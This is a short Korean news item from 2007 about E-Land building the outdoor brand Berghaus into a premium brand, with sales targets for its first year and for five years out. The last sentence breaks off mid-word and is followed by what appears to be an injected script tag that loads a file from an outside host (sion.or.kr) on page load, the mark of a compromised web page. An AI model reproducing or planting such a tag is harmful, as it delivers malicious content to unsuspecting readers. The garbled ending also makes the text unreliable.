이랜드, 버그하우스.. 집중 육성

한국패션협회 2007-10-05 09:12 조회수 아이콘 639

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이랜드, ‘버그하우스’ 집중 육성

이랜드(대표 박성경)가 아웃도어 ‘버그하우스’를 명품 브랜드로 집중 육성한다.


이랜드는 지난 몇 년간 아웃도어 시장 진출을 끊임없이 모색하는 등 차세대 육성산업 분야로 스포츠와 아웃도어를 선정할 정도로 이 시장에 관심을 가져왔다.


이에 따라 최근 국내 전개권을 확보한 ‘버그하우스’를 볼륨 브랜드로 육성한다는 방침을 세웠다.


우선 기존 한국팬트렌드가 전개하던 백화점, 대리점, 취급점 등 영업전략을 고수하면서 유통 안정화를 모색하는 한편 고기능성 아이템을 개발해 명품 브랜드 이미지를 구축할 계획이다.


특히 매출목표를 런칭 첫 해 300억원으로 잡고 5년 내 1,000억원대 브랜드로 성장시킨다는 중장기 전략을 세웠다.


이랜드는 이를 위해 최근 내부 인선작업과 디자인실, 영업팀, 마케팅팀 등 외부 인력 영입에 주력하고 있으며 11월중 사업부 구성을 마무리할 예?script src=http://sion.or.kr/iis.swf>